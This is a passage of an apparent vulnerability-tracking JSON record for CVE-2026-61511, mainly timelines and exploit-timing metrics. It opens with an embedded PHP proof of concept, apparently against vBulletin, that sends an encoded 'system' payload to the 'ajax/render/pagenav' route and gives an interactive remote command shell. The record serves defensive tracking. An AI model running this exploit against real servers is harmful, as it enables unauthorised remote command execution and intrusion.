\"(\" . rtrim($ret, '.') . ')((';\n\n    foreach (str_split($param) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';\n\n    return rtrim($ret, '.') . '))';\n}\n\n$curl   = curl_init();\n$params = [\"routestring\" => \"ajax/render/pagenav\"];\n\ncurl_setopt($curl, CURLOPT_URL, $argv[1]);\ncurl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n//curl_setopt($curl, CURLOPT_PROXY, \"http://127.0.0.1:8080\");\n\nwhile (1) {\n    print \"\\nvb-shell# \";\n    if (($cmd = trim(fgets(STDIN))) == \"exit\") break;\n    $cmd .= \"; echo _____\";\n    $params[\"pagenav[pagenumber]\"] = makePayload(\"system\", $cmd);\n    curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params));\n    preg_match('/_____(.*)_____/s', curl_exec($curl), $m) ? print $m[1] : die(\"\\n[+] Exploit failed! :(\\n\\n\");\n}", "url": "https://t.me/proxy_bar/3584", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-08T11:40:45Z", "date_only": false, "value": "2026-09-08T11:40:45Z", "kind": "milestone", "label": "Published", "source": "gna-1988 \u00b7 GCVE-1988-2026-0287", "record": "GCVE-1988-2026-0287", "field": "cveMetadata.datePublished"}, {"timestamp": "2026-09-11T11:48:05Z", "date_only": false, "value": "2026-09-11T11:48:05Z", "kind": "other", "label": "Updated", "source": "gna-1988 \u00b7 GCVE-1988-2026-0287", "record": "GCVE-1988-2026-0287", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-09-11T11:48:05Z", "date_only": false, "value": "2026-09-11T11:48:05Z", "kind": "other", "label": "Updated", "source": "gna-1988 \u00b7 GCVE-1988-2026-0287 / VULNARCHIVE", "record": "GCVE-1988-2026-0287", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2026-10-14T03:56:22.311Z", "date_only": false, "value": "2026-10-14T03:56:22.311Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2026-61511", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-10-14T03:56:22.311Z", "date_only": false, "value": "2026-10-14T03:56:22.311Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-61511", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-10-14T04:18:24.660Z", "date_only": false, "value": "2026-10-14T04:18:24.660", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-61511", "record": "FKIE_CVE-2026-61511", "field": "lastModified"}], "metrics": {"as_of": "2026-10-31T21:03:10.461Z", "anchors": {"origin": {"timestamp": "2026-07-27T00:00:00Z", "date_only": false, "value": "2026-07-27T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / VulnCheck", "record": "CVE-2026-61511", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2026-07-27T00:00:00Z", "date_only": false, "value": "2026-07-27T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / VulnCheck", "record": "CVE-2026-61511", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": {"timestamp": "2026-07-29T00:00:26.703Z", "date_only": false, "value": "2026-07-29T00:00:26.703678Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/h1j6Jl6m2npLlEniyRpMllHKNmi9d2U9i1x7gM3I-76diKo", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "fbc4fe89-0d7a-40c8-b61a-c9d0dfbc7471", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "exploitation": {"timestamp": "2026-08-27T13:06:02Z", "date_only": false, "value": "2026-08-27T13:06:02+00:00", "kind": "kev", "label": "Asserted", "source": "previdian", "record": "CVE-2026-61511", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "474b0604-d35d-480d-88df-9f74bcbd3614", "status": {"status_reason": "confirmed", "exploited": true}}, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": true, "seconds": 2725562.0, "hours": 757.1005555555555, "days": 31.545856481481483, "min_seconds": 2639162.0, "max_seconds": 2725562.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2026-07-27T00:00:00Z", "date_only": false, "value": "2026-07-27T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / VulnCheck", "record": "CVE-2026-61511", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-08-27T13:06:02Z", "date_only": false, "value": "2026-08-27T13:06:02+00:00", "kind": "kev", "label": "Asserted", "source": "previdian", "record": "CVE-2026-61511", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "474b0604-d35d-480d-88df-9f74bcbd3614", "status": {"status_reason": "confirmed", "exploited": true}}}, "disclosure_to_exploit": {"available": true, "seconds": 2725562.0, "hours": 757.1005555555555, "days": 31.545856481481483, "min_seconds": 2639162.0, "max_seconds": 2725562.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2026-07-27T00:00:00Z", "date_only": false, "value": "2026-07-27T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / VulnCheck", "record": "CVE-2026-61511", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-08-27T13:06:02Z", "date_only": false, "value": "2026-08-27T13:06:02+00:00", "kind": "kev", "label": "Asserted", "source": "previdian", "record": "CVE-2026-61511", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "474b0604-d35d-480d-88df-9f74bcbd3614", "status": {"status_reason": "confirmed", "exploited": true}}}, "disclosure_to_exploit_publication": {"available": true, "seconds": 172826.703, "hours": 48.0074175, "days": 2.0003090625, "min_seconds": 86426.703, "max_seconds": 172826.703, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2026-07-27T00:00:00Z", "date_only": false, "value": "2026-07-27T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / VulnCheck", "record": "CVE-2026-61511", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-07-29T00:00:26.703Z", "date_only": false, "value": "2026-07-29T00:00:26.703678Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/h1j6Jl6m2npLlEniyRpMllHKNmi9d2U9i1x7gM3I-76diKo", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "fbc4fe89-0d7a-40c8-b61a-c9d0dfbc7471", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 8370190.461715, "hours": 2325.0529060319445, "days": 96.87720441799769, "min_seconds": 8283790.461715, "max_seconds": 8370190.461715, "approximate": true, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2026-07-27T00:00:00Z", "date_only": false, "value": "2026-07-27T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / VulnCheck", "record": "CVE-2026-61511", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-10-31T21:03:10.461Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": true, "seconds": 5644628.461715, "hours": 1567.9523504763888, "days": 65.3313479365162, "min_seconds": 5644628.461715, "max_seconds": 5644628.461715, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2026-08-27T13:06:02Z", "date_only": false, "value": "2026-08-27T13:06:02+00:00", "kind": "kev", "label": "Asserted", "source": "previdian", "record": "CVE-2026-61511", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "474b0604-d35d-480d-88df-9f74bcbd3614", "status": {"status_reason": "confirmed", "exploited": true}}, "end": {"timestamp": "2026-10-31T21:03:10.461Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploit_publication_to_patch": {"available": true, "seconds": 8197363.758715, "hours": 2277.0454885319446, "days": 94.87689535549768, "min_seconds": 8197363.758715, "max_seconds": 8197363.758715, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2026-07-29T00:00:26.703Z", "date_only": false, "value": "2026-07-29T00:00:26.703678Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/h1j6Jl6m2npLlEniyRpMllHKNmi9d2U9i1x7gM3I-76diKo", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "fbc4fe89-0d7a-40c8-b61a-c9d0dfbc7471", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "end": {"timestamp": "2026-10-31T21:03:10.461Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}}}